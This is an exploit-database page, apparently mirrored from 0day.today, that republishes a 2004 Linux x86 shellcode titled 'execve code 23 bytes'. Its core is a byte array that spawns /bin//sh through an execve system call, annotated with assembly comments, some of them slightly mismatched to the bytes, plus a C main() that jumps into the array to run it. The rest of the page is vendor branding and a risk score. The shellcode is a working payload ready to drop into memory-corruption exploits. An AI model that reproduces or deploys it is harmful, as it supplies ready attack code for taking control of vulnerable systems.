Lucene search

K

linux/x86 execve code 23 bytes

🗓️ 15 Nov 2004 00:00:00Reported by marcetamType 
zdt
 zdt
🔗 0day.today👁 20 Views

Linux 23 byte execve code for executing shell commands via system calls.

Show more

AI Insights are available for you today

Leverage the power of AI to quickly understand vulnerabilities, impacts, and exploitability

Code
==============================
linux/x86 execve code 23 bytes
==============================



/************************************************************
* Linux 23 byte execve code. Greetz to preedator            *
*                                          marcetam         *
*                                      admin at marcetam.net   *
*************************************************************/
char linux[]=
  "\x99"			/* cdq              */
  "\x52"			/* push %edx        */
  "\x68\x2f\x2f\x73\x68"	/* push $0x68732f2f */
  "\x68\x2f\x62\x69\x6e"	/* push $0x6e69622f */
  "\x89\xe3"			/* mov %esp,%ebx    */
  "\x52"			/* push %edx        */
  "\x54"			/* push %esp        */
  "\x54"			/* push %esp        */
  "\x59\x6a"			/* pop %ecx         */
  "\x0b\x58"			/* push $0x0b       */
  "\xcd\x80";			/* int $0x80        */
int main(){
  void (*run)()=(void *)linux;
  printf("%d bytes \n",strlen(linux));
  run();
}



#  0day.today [2018-03-13]  #

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo
15 Nov 2004 00:00Current
7High risk
Vulners AI Score7
20
.json
Report